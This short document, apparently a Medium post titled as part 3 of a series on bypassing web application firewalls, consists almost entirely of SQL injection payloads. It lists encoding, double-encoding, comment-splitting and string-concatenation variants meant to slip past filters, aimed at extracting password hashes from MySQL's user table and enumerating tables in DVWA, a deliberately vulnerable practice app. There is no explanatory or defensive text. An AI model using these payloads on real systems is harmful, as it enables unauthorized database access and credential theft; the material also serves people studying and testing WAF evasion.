Bypassing Web application Firewall — Part 3

%27%20union%20select%20password%20from%20mySQL.user%20limit%201%20%2F*

‘ union select password from mySQL.user limit 1 /*

‘/**/union/**/select/**/password/**/from/**/mySQL.user/**/limit/**/1

‘ uni<on sel<ect password from mySQL.user limit 1 /*

UNION select table_schema,table_name FROM information_Schema.tables where ta- ble_schema = “dvwa” -

EXEC(‘SEL’ + ‘ECT 1’)

%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25 2F*

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store